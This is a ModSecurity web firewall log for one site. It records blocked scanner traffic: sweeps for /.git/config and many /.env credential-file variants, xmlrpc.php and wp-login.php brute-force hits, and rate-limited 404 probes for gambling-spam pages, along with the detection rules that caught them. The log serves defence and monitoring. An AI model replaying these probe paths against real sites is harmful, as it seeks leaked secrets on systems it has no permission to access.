[Sun Apr 19 02:24:42.139043 2026] [:error] [pid 32166:tid 32220] [client 145.239.71.147:56748] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aePMapCHNkWwdiZnafLTrwAAAFY"]
[Sun Apr 19 02:24:43.931440 2026] [:error] [pid 32252:tid 32257] [client 145.239.71.147:56764] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aePMa-Xl4Yc-Lt5fJ9iniwAAAQM"]
[Sun Apr 19 02:24:46.055631 2026] [:error] [pid 33517:tid 33526] [client 145.239.71.147:56766] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aePMbn4Zz-rubR1wiZ-2wwAAAMc"]
[Sun Apr 19 02:26:02.278501 2026] [:error] [pid 41277:tid 41297] [client 137.184.237.108:49690] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aePMukH3ayszMLZYflsAVgAAAZI"]
[Sun Apr 19 03:07:01.681299 2026] [:error] [pid 41277:tid 41288] [client 45.87.221.196:39188] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aePWVUH3ayszMLZYflsNVwAAAYk"]
[Sun Apr 19 03:07:24.235304 2026] [:error] [pid 32165:tid 32184] [client 106.201.122.68:51949] [client 106.201.122.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.201.122.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aePWbKe2vKwEk_N0BrYDegAAAA8"]
[Sun Apr 19 03:17:01.599568 2026] [:error] [pid 60910:tid 60935] [client 45.132.115.82:58857] [client 45.132.115.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aePYrXFWunkyacYqsD1ZhgAAAVc"]
[Sun Apr 19 03:28:20.551794 2026] [:error] [pid 32167:tid 32228] [client 162.241.120.138:34836] [client 162.241.120.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.120.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aePbVEyD4Jm27Mb3NJis0QAAAIM"]
[Sun Apr 19 03:28:22.782378 2026] [:error] [pid 32167:tid 32235] [client 162.241.120.138:34836] [client 162.241.120.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.120.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aePbVkyD4Jm27Mb3NJis2gAAAIo"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 04:43:20.610203 2026] [:error] [pid 47772:tid 47798] [client 18.144.9.201:36610] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aePs6Ic0L16cb4smAz-ISwAAAAk"]
[Sun Apr 19 04:43:22.723490 2026] [:error] [pid 15765:tid 15852] [client 18.144.9.201:36618] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aePs6vRqinw-W5EwQ7517gAAAoA"]
[Sun Apr 19 04:43:23.381389 2026] [:error] [pid 15760:tid 15787] [client 18.144.9.201:36062] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aePs6_SdD_XHQMJ_ISsQFQAAAdM"]
[Sun Apr 19 04:43:24.044924 2026] [:error] [pid 47773:tid 47838] [client 18.144.9.201:36064] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aePs7OiBHdnCJDuPq9AzHwAAAFY"]
[Sun Apr 19 04:43:24.706813 2026] [:error] [pid 47772:tid 47812] [client 18.144.9.201:36070] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aePs7Ic0L16cb4smAz-IVAAAABc"]
[Sun Apr 19 04:43:25.370801 2026] [:error] [pid 47775:tid 47860] [client 18.144.9.201:36078] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aePs7bmztjlk9tsmoexeoQAAAJE"]
[Sun Apr 19 04:43:26.037636 2026] [:error] [pid 15693:tid 15698] [client 18.144.9.201:36084] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aePs7sNMD-ccazQlTskQsgAAAUI"]
[Sun Apr 19 04:43:26.699006 2026] [:error] [pid 47772:tid 47805] [client 18.144.9.201:36094] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aePs7oc0L16cb4smAz-IWgAAABA"]
[Sun Apr 19 04:43:27.359007 2026] [:error] [pid 47772:tid 47802] [client 18.144.9.201:36106] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aePs74c0L16cb4smAz-IXQAAAA0"]
[Sun Apr 19 04:43:28.010015 2026] [:error] [pid 47772:tid 47812] [client 18.144.9.201:36110] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aePs8Ic0L16cb4smAz-IYAAAABc"]
[Sun Apr 19 04:43:28.671504 2026] [:error] [pid 15693:tid 15702] [client 18.144.9.201:36126] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aePs8MNMD-ccazQlTskQtAAAAUY"]
[Sun Apr 19 04:43:29.335491 2026] [:error] [pid 47772:tid 47811] [client 18.144.9.201:36142] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aePs8Yc0L16cb4smAz-IZQAAABY"]
[Sun Apr 19 04:43:29.993067 2026] [:error] [pid 47772:tid 47789] [client 18.144.9.201:36156] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aePs8Yc0L16cb4smAz-IaQAAAAA"]
[Sun Apr 19 04:43:30.653682 2026] [:error] [pid 47772:tid 47813] [client 18.144.9.201:36170] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aePs8oc0L16cb4smAz-IbAAAABg"]
[Sun Apr 19 04:43:31.318312 2026] [:error] [pid 15694:tid 15725] [client 18.144.9.201:36186] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "aePs87imB-jol1fwqAq0jwAAAYI"]
[Sun Apr 19 04:43:31.977560 2026] [:error] [pid 47773:tid 47816] [client 18.144.9.201:60596] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "aePs8-iBHdnCJDuPq9AzIgAAAEA"]
[Sun Apr 19 04:43:32.639435 2026] [:error] [pid 15763:tid 15798] [client 18.144.9.201:60608] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.stage"] [unique_id "aePs9LMXv1Y1THOoxaAbYAAAAgI"]
[Sun Apr 19 04:43:33.301868 2026] [:error] [pid 15765:tid 15853] [client 18.144.9.201:60612] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.ci"] [unique_id "aePs9fRqinw-W5EwQ7518gAAAoE"]
[Sun Apr 19 04:43:33.960496 2026] [:error] [pid 47886:tid 47905] [client 18.144.9.201:60628] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "aePs9USe8yiyuPrD7yPcdQAAANE"]
[Sun Apr 19 04:43:34.620544 2026] [:error] [pid 47886:tid 47892] [client 18.144.9.201:60642] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.live"] [unique_id "aePs9kSe8yiyuPrD7yPceAAAAMQ"]
[Sun Apr 19 04:43:35.284464 2026] [:error] [pid 15693:tid 15706] [client 18.144.9.201:60656] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.preprod"] [unique_id "aePs98NMD-ccazQlTskQtQAAAUo"]
[Sun Apr 19 04:43:36.004822 2026] [:error] [pid 15765:tid 15864] [client 18.144.9.201:60670] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.uat"] [unique_id "aePs-PRqinw-W5EwQ7519AAAAos"]
[Sun Apr 19 04:43:36.668591 2026] [:error] [pid 15760:tid 15778] [client 18.144.9.201:60680] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "aePs-PSdD_XHQMJ_ISsQGQAAAco"]
[Sun Apr 19 04:43:37.327921 2026] [:error] [pid 15694:tid 15743] [client 18.144.9.201:60690] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.swp"] [unique_id "aePs-bimB-jol1fwqAq0mAAAAZE"]
[Sun Apr 19 04:43:37.977894 2026] [:error] [pid 15693:tid 15719] [client 18.144.9.201:60698] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "aePs-cNMD-ccazQlTskQuQAAAVc"]
[Sun Apr 19 04:43:38.643048 2026] [:error] [pid 47775:tid 47851] [client 18.144.9.201:60704] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aePs-rmztjlk9tsmoexeqwAAAIg"]
[Sun Apr 19 04:43:39.304005 2026] [:error] [pid 47773:tid 47822] [client 18.144.9.201:60720] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "aePs--iBHdnCJDuPq9AzKgAAAEY"]
[Sun Apr 19 04:43:39.969785 2026] [:error] [pid 15693:tid 15699] [client 18.144.9.201:60728] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aePs-8NMD-ccazQlTskQugAAAUM"]
[Sun Apr 19 04:43:40.627382 2026] [:error] [pid 15764:tid 15845] [client 18.144.9.201:60734] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "aePs_GLL_sqdSHoVp-TgowAAAlM"]
[Sun Apr 19 04:43:41.290639 2026] [:error] [pid 15764:tid 15832] [client 18.144.9.201:60736] [client 18.144.9.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.env"] [unique_id "aePs_WLL_sqdSHoVp-TgpQAAAkY"]
[Sun Apr 19 04:50:13.966620 2026] [:error] [pid 47773:tid 47835] [client 101.251.6.18:59438] [client 101.251.6.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.251.6.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aePuheiBHdnCJDuPq9A2YwAAAFM"]
[Sun Apr 19 04:56:00.574681 2026] [:error] [pid 47773:tid 47819] [client 51.68.32.135:60878] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aePv4OiBHdnCJDuPq9A6uQAAAEM"]
[Sun Apr 19 04:56:02.471943 2026] [:error] [pid 15760:tid 15783] [client 51.68.32.135:44732] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aePv4vSdD_XHQMJ_ISsSKAAAAc8"]
[Sun Apr 19 04:56:04.458240 2026] [:error] [pid 47773:tid 47819] [client 51.68.32.135:44740] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aePv5OiBHdnCJDuPq9A6ygAAAEM"]
[Sun Apr 19 04:56:06.416039 2026] [:error] [pid 47773:tid 47832] [client 51.68.32.135:47776] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aePv5uiBHdnCJDuPq9A60gAAAFA"]
[Sun Apr 19 04:56:08.502925 2026] [:error] [pid 47773:tid 47821] [client 51.68.32.135:47778] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aePv6OiBHdnCJDuPq9A62wAAAEU"]
[Sun Apr 19 04:56:10.443576 2026] [:error] [pid 15760:tid 15778] [client 51.68.32.135:47790] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aePv6vSdD_XHQMJ_ISsSLgAAAco"]
[Sun Apr 19 04:56:12.361974 2026] [:error] [pid 15763:tid 15819] [client 51.68.32.135:47800] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aePv7LMXv1Y1THOoxaAdHgAAAhc"]
[Sun Apr 19 04:56:14.291880 2026] [:error] [pid 47886:tid 47890] [client 51.68.32.135:47816] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aePv7kSe8yiyuPrD7yPfRAAAAMI"]
[Sun Apr 19 04:56:16.247032 2026] [:error] [pid 47773:tid 47825] [client 51.68.32.135:52098] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aePv8OiBHdnCJDuPq9A69AAAAEk"]
[Sun Apr 19 04:56:18.360352 2026] [:error] [pid 15760:tid 15774] [client 51.68.32.135:52100] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aePv8vSdD_XHQMJ_ISsSOgAAAcY"]
[Sun Apr 19 04:56:20.326567 2026] [:error] [pid 47886:tid 47888] [client 51.68.32.135:52116] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aePv9ESe8yiyuPrD7yPfTgAAAMA"]
[Sun Apr 19 04:56:22.142179 2026] [:error] [pid 47886:tid 47904] [client 51.68.32.135:52120] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aePv9kSe8yiyuPrD7yPfUwAAANA"]
[Sun Apr 19 04:56:24.235799 2026] [:error] [pid 15763:tid 15797] [client 51.68.32.135:52130] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aePv-LMXv1Y1THOoxaAdJQAAAgE"]
[Sun Apr 19 04:56:26.027561 2026] [:error] [pid 47775:tid 47851] [client 51.68.32.135:40072] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aePv-rmztjlk9tsmoexjFAAAAIg"]
[Sun Apr 19 04:56:27.977648 2026] [:error] [pid 47775:tid 47853] [client 51.68.32.135:40088] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aePv-7mztjlk9tsmoexjGAAAAIo"]
[Sun Apr 19 04:56:29.899092 2026] [:error] [pid 15765:tid 15862] [client 51.68.32.135:40092] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aePv_fRqinw-W5EwQ754ywAAAok"]
[Sun Apr 19 04:56:31.679817 2026] [:error] [pid 15765:tid 15874] [client 51.68.32.135:40100] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aePv__Rqinw-W5EwQ7540AAAApU"]
